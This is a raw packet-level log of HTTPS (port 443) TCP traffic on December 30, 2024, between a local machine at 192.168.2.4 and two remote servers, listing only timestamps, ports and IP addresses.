Dec 30, 2024 04:59:50.489543915 CET	443	49962	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:50.492928982 CET	49962	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:50.539509058 CET	49962	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:50.539519072 CET	443	49962	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:50.539663076 CET	49962	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:50.539668083 CET	443	49962	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:50.593311071 CET	443	49963	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:50.594954014 CET	49963	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:50.598364115 CET	49963	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:50.598370075 CET	443	49963	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:50.598557949 CET	49963	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:50.598562956 CET	443	49963	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:50.642101049 CET	443	49964	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:50.642189026 CET	49964	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:50.669837952 CET	49964	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:50.669867039 CET	443	49964	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:50.670003891 CET	49964	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:50.670016050 CET	443	49964	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:50.770989895 CET	49961	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:50.771007061 CET	49962	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:50.771020889 CET	49963	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:50.771058083 CET	49964	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:50.773156881 CET	49965	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:50.773179054 CET	443	49965	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:50.773253918 CET	49965	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:50.774029016 CET	49965	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:50.774039030 CET	443	49965	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:50.775645018 CET	49966	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:50.775679111 CET	443	49966	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:50.775733948 CET	49966	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:50.776046991 CET	49966	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:50.776061058 CET	443	49966	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:51.373009920 CET	443	49965	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:51.373083115 CET	49965	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:51.373433113 CET	49965	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:51.373439074 CET	443	49965	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:51.373594046 CET	49965	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:51.373598099 CET	443	49965	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:51.403821945 CET	443	49966	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:51.403897047 CET	49966	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:51.404154062 CET	49966	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:51.404162884 CET	443	49966	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:51.404284000 CET	49966	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:51.404289007 CET	443	49966	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:51.744075060 CET	443	49965	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:51.744118929 CET	443	49965	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:51.744182110 CET	49965	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:51.744256973 CET	49965	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:51.744601965 CET	49965	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:51.744612932 CET	443	49965	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:51.745246887 CET	49967	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:51.745263100 CET	443	49967	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:51.745357990 CET	49968	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:51.745384932 CET	443	49968	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:51.745392084 CET	49967	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:51.745595932 CET	49967	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:51.745609999 CET	443	49967	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:51.745625973 CET	49968	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:51.745908976 CET	49968	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:51.745920897 CET	443	49968	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:51.780174971 CET	443	49966	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:51.780294895 CET	49966	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:51.780566931 CET	49966	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:51.780606985 CET	443	49966	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:51.780762911 CET	443	49966	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:51.780834913 CET	49966	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:51.780852079 CET	49966	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:51.781213999 CET	49970	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:51.781255007 CET	443	49970	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:51.781383991 CET	49971	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:51.781411886 CET	443	49971	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:51.781430960 CET	49970	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:51.781474113 CET	49971	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:51.781635046 CET	49971	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:51.781653881 CET	443	49971	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:51.781680107 CET	49970	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:51.781692982 CET	443	49970	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:52.344170094 CET	443	49967	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:52.344280005 CET	49967	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:52.344815016 CET	443	49967	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:52.344872952 CET	49967	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:52.347971916 CET	49967	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:52.347978115 CET	443	49967	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:52.348175049 CET	443	49967	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:52.348228931 CET	49967	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:52.348612070 CET	49967	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:52.349541903 CET	443	49968	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:52.349601984 CET	49968	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:52.349792957 CET	49968	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:52.349800110 CET	443	49968	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:52.351327896 CET	49968	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:52.351332903 CET	443	49968	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:52.379542112 CET	443	49971	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:52.379638910 CET	49971	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:52.379956961 CET	49971	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:52.379966021 CET	443	49971	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:52.380099058 CET	49971	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:52.380105019 CET	443	49971	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:52.395330906 CET	443	49967	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:52.409432888 CET	443	49970	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:52.409504890 CET	49970	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:52.410501957 CET	443	49970	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:52.410563946 CET	49970	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:52.411951065 CET	49970	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:52.411961079 CET	443	49970	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:52.412281990 CET	443	49970	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:52.412332058 CET	49970	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:52.412641048 CET	49970	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:52.459330082 CET	443	49970	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:52.708662033 CET	443	49967	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:52.708719015 CET	49967	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:52.708731890 CET	443	49967	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:52.708836079 CET	49967	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:52.709027052 CET	49967	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:52.709050894 CET	443	49967	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:52.709100008 CET	49967	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:52.709594011 CET	49972	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:52.709613085 CET	443	49972	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:52.709673882 CET	49972	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:52.709893942 CET	49972	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:52.709903955 CET	443	49972	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:52.761776924 CET	443	49968	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:52.761835098 CET	443	49968	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:52.761847973 CET	49968	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:52.761858940 CET	443	49968	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:52.761874914 CET	49968	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:52.761913061 CET	49968	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:52.761920929 CET	443	49968	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:52.761951923 CET	443	49968	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:52.761960983 CET	49968	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:52.761993885 CET	49968	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:52.762525082 CET	49968	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:52.762535095 CET	443	49968	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:52.763055086 CET	49973	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:52.763083935 CET	443	49973	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:52.763144970 CET	49973	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:52.763344049 CET	49973	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:52.763354063 CET	443	49973	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:52.787513971 CET	443	49970	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:52.787580013 CET	49970	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:52.787587881 CET	443	49970	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:52.787628889 CET	49970	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:52.787735939 CET	49970	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:52.787755013 CET	443	49970	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:52.788355112 CET	49974	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:52.788367033 CET	443	49974	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:52.788434029 CET	49974	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:52.788604975 CET	49974	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:52.788614988 CET	443	49974	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:52.910200119 CET	443	49971	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:52.910243988 CET	443	49971	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:52.910245895 CET	49971	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:52.910264015 CET	443	49971	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:52.910284042 CET	49971	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:52.910320997 CET	49971	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:52.910329103 CET	443	49971	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:52.910336971 CET	443	49971	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:52.910377979 CET	49971	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:52.944844961 CET	49971	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:52.944863081 CET	443	49971	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:52.945945978 CET	49976	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:52.946027040 CET	443	49976	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:52.946104050 CET	49976	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:52.946297884 CET	49976	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:52.946332932 CET	443	49976	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:53.318619967 CET	443	49972	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:53.318736076 CET	49972	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:53.365572929 CET	49972	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:53.365580082 CET	443	49972	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:53.365843058 CET	49972	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:53.365847111 CET	443	49972	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:53.372601986 CET	443	49973	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:53.372673988 CET	49973	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:53.373157024 CET	49973	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:53.373162985 CET	443	49973	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:53.373327017 CET	49973	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:53.373332977 CET	443	49973	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:53.393517017 CET	443	49974	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:53.393573046 CET	49974	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:53.401515961 CET	49974	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:53.401520014 CET	443	49974	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:53.401664019 CET	49974	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:53.401667118 CET	443	49974	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:53.553328991 CET	443	49976	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:53.553421974 CET	49976	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:53.554549932 CET	49976	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:53.554579973 CET	443	49976	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:53.554691076 CET	49976	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:53.554702044 CET	443	49976	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:53.768990040 CET	443	49974	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:53.769072056 CET	443	49974	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:53.769258976 CET	49974	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:53.769450903 CET	49974	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:53.769459009 CET	443	49974	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:53.769860983 CET	49979	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:53.769886971 CET	443	49979	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:53.772953987 CET	49979	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:53.773160934 CET	49979	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:53.773175001 CET	443	49979	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:53.777832031 CET	443	49973	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:53.777892113 CET	443	49973	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:53.777952909 CET	49973	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:53.777967930 CET	443	49973	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:53.778006077 CET	49973	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:53.778011084 CET	443	49973	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:53.778049946 CET	49973	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:53.778053999 CET	443	49973	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:53.778088093 CET	49973	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:53.778098106 CET	443	49973	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:53.778136015 CET	49973	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:53.778543949 CET	49973	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:53.778557062 CET	443	49973	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:53.778892994 CET	49980	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:53.778940916 CET	443	49980	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:53.779026031 CET	49980	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:53.779251099 CET	49980	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:53.779262066 CET	443	49980	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:53.791573048 CET	443	49972	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:53.792282104 CET	443	49972	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:53.792356014 CET	49972	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:53.792417049 CET	49972	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:53.792428017 CET	443	49972	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:53.792437077 CET	49972	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:53.792804956 CET	49981	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:53.792823076 CET	49972	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:53.792893887 CET	443	49981	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:53.796932936 CET	49981	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:53.797286034 CET	49981	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:53.797326088 CET	443	49981	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:53.988748074 CET	443	49976	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:53.988792896 CET	443	49976	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:53.988818884 CET	49976	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:53.988867998 CET	443	49976	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:53.988900900 CET	49976	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:53.989015102 CET	49976	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:53.989171982 CET	443	49976	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:53.989207029 CET	443	49976	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:53.989228964 CET	49976	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:53.989253998 CET	49976	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:53.989449024 CET	49976	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:53.989476919 CET	443	49976	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:53.989814043 CET	49982	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:53.989835978 CET	443	49982	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:53.989897013 CET	49982	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:53.990076065 CET	49982	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:53.990089893 CET	443	49982	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:54.424972057 CET	443	49979	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:54.425029039 CET	49979	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:54.425400972 CET	49979	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:54.425410986 CET	443	49979	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:54.427198887 CET	49979	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:54.427202940 CET	443	49979	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:54.432807922 CET	443	49980	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:54.432862997 CET	49980	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:54.433190107 CET	49980	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:54.433198929 CET	443	49980	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:54.436206102 CET	49980	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:54.436212063 CET	443	49980	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:54.461256027 CET	443	49981	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:54.461343050 CET	49981	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:54.461673975 CET	49981	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:54.461695910 CET	443	49981	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:54.461873055 CET	49981	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:54.461886883 CET	443	49981	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:54.637492895 CET	443	49982	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:54.637697935 CET	49982	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:54.638190985 CET	49982	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:54.638196945 CET	443	49982	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:54.638328075 CET	49982	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:54.638333082 CET	443	49982	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:54.766140938 CET	49979	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:54.766144991 CET	49980	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:54.766144991 CET	49982	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:54.766153097 CET	49981	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:54.766787052 CET	49983	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:54.766858101 CET	443	49983	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:54.766942024 CET	49983	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:54.767561913 CET	49983	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:54.767595053 CET	443	49983	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:54.768696070 CET	49984	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:54.768723965 CET	443	49984	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:54.768815041 CET	49984	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:54.769020081 CET	49984	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:54.769046068 CET	443	49984	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:55.376641035 CET	443	49984	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:55.376933098 CET	49984	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:55.381505966 CET	49984	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:55.381539106 CET	443	49984	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:55.385505915 CET	443	49983	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:55.386219978 CET	49983	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:55.386279106 CET	49984	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:55.386296034 CET	443	49984	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:55.420150042 CET	49983	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:55.420186996 CET	443	49983	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:55.420325041 CET	49983	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:55.420337915 CET	443	49983	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:55.834541082 CET	443	49984	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:55.834872961 CET	49984	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:55.835455894 CET	443	49984	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:55.835505962 CET	443	49984	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:55.835558891 CET	49984	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:55.859505892 CET	443	49983	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:55.859570980 CET	49983	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:55.859606028 CET	443	49983	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:55.859658003 CET	49983	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:55.860140085 CET	443	49983	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:55.860167027 CET	443	49983	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:55.860218048 CET	49983	443	192.168.2.4	142.250.181.238
Dec 30, 2024 05:00:06.391654968 CET	49983	443	192.168.2.4	142.250.181.238
Dec 30, 2024 05:00:06.391694069 CET	443	49983	142.250.181.238	192.168.2.4
Dec 30, 2024 05:00:06.391928911 CET	49984	443	192.168.2.4	142.250.181.238
Dec 30, 2024 05:00:06.391949892 CET	443	49984	142.250.181.238	192.168.2.4
Dec 30, 2024 05:00:06.391974926 CET	49984	443	192.168.2.4	142.250.181.238
Dec 30, 2024 05:00:06.392008066 CET	49984	443	192.168.2.4	142.250.181.238
Dec 30, 2024 05:00:06.395895958 CET	50045	443	192.168.2.4	142.250.186.129
Dec 30, 2024 05:00:06.395929098 CET	443	50045	142.250.186.129	192.168.2.4
Dec 30, 2024 05:00:06.396090984 CET	50046	443	192.168.2.4	142.250.181.238
Dec 30, 2024 05:00:06.396111012 CET	50045	443	192.168.2.4	142.250.186.129
Dec 30, 2024 05:00:06.396162987 CET	443	50046	142.250.181.238	192.168.2.4
Dec 30, 2024 05:00:06.396231890 CET	50046	443	192.168.2.4	142.250.181.238
Dec 30, 2024 05:00:06.396960974 CET	50047	443	192.168.2.4	142.250.186.129
Dec 30, 2024 05:00:06.396969080 CET	443	50047	142.250.186.129	192.168.2.4
Dec 30, 2024 05:00:06.397188902 CET	50048	443	192.168.2.4	142.250.181.238
Dec 30, 2024 05:00:06.397211075 CET	443	50048	142.250.181.238	192.168.2.4
Dec 30, 2024 05:00:06.397223949 CET	50047	443	192.168.2.4	142.250.186.129
Dec 30, 2024 05:00:06.398309946 CET	50046	443	192.168.2.4	142.250.181.238
Dec 30, 2024 05:00:06.398344994 CET	443	50046	142.250.181.238	192.168.2.4
Dec 30, 2024 05:00:06.398354053 CET	50048	443	192.168.2.4	142.250.181.238
Dec 30, 2024 05:00:06.398509979 CET	50045	443	192.168.2.4	142.250.186.129
Dec 30, 2024 05:00:06.398523092 CET	443	50045	142.250.186.129	192.168.2.4
Dec 30, 2024 05:00:06.398683071 CET	50047	443	192.168.2.4	142.250.186.129
Dec 30, 2024 05:00:06.398694038 CET	443	50047	142.250.186.129	192.168.2.4
Dec 30, 2024 05:00:06.398742914 CET	50048	443	192.168.2.4	142.250.181.238
Dec 30, 2024 05:00:06.398757935 CET	443	50048	142.250.181.238	192.168.2.4
Dec 30, 2024 05:00:06.998791933 CET	443	50046	142.250.181.238	192.168.2.4
Dec 30, 2024 05:00:06.999383926 CET	50046	443	192.168.2.4	142.250.181.238
Dec 30, 2024 05:00:07.000771046 CET	443	50047	142.250.186.129	192.168.2.4
Dec 30, 2024 05:00:07.001683950 CET	443	50048	142.250.181.238	192.168.2.4
Dec 30, 2024 05:00:07.001745939 CET	50047	443	192.168.2.4	142.250.186.129
Dec 30, 2024 05:00:07.001750946 CET	50048	443	192.168.2.4	142.250.181.238
